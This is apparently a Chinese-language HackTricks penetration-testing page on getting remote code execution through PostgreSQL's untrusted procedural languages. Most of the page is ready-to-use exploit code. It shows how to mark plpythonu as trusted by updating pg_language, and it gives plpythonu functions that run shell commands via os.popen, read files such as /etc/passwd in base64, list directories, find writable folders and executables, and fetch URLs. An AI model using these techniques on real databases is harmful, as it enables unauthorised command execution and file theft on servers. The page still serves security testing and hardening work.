6.5 KiB
Raw Blame History

RCE with PostgreSQL Languages

{{#include ../../../banners/hacktricks-training.md}}

PostgreSQL Languages

您获得访问权限的 PostgreSQL 数据库可能安装了不同的 脚本语言,您可以利用这些语言来 执行任意代码

您可以 让它们运行

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

大多数可以在 PostgreSQL 中安装的脚本语言有 2 种类型受信任的不受信任的不受信任的 语言名称 以 "u" 结尾,并且是允许你 执行代码 和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ...(任何其他使用不安全版本的编程语言)

Warning

如果你发现一个有趣的语言是 已安装 但被 PostgreSQL 标记为不受信任lanpltrustedfalse),你可以尝试用以下语句 信任它,这样 PostgreSQL 就不会施加任何限制:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# 检查你对表 pg_language 的权限
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Caution

如果你没有看到某个语言,你可以尝试加载它(你需要是超级管理员

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

请注意,可以将安全版本编译为“不安全”。例如,查看 this。因此,即使你只发现安装了 受信任的 版本,尝试执行代码也是值得的。

plpythonu/plpython3u

{{#tabs}} {{#tab name="RCE"}}

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

{{#endtab}}

{{#tab name="获取操作系统用户"}}

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

{{#endtab}}

{{#tab name="列出目录"}}

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

{{#endtab}}

{{#tab name="查找 W 文件夹"}}

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

{{#endtab}}

{{#tab name="查找文件"}}

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

{{#endtab}}

{{#tab name="查找可执行文件"}}

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

{{#endtab}}

{{#tab name="通过子字符串查找 exec"}}

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

{{#endtab}}

{{#tab name="阅读"}}

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

{{#endtab}}

{{#tab name="获取权限"}}

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

{{#endtab}}

{{#tab name="Request"}}

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

{{#endtab}} {{#endtabs}}

pgSQL

查看以下页面:

{{#ref}} pl-pgsql-password-bruteforce.md {{#endref}}

C

查看以下页面:

{{#ref}} rce-with-postgresql-extensions.md {{#endref}}

{{#include ../../../banners/hacktricks-training.md}}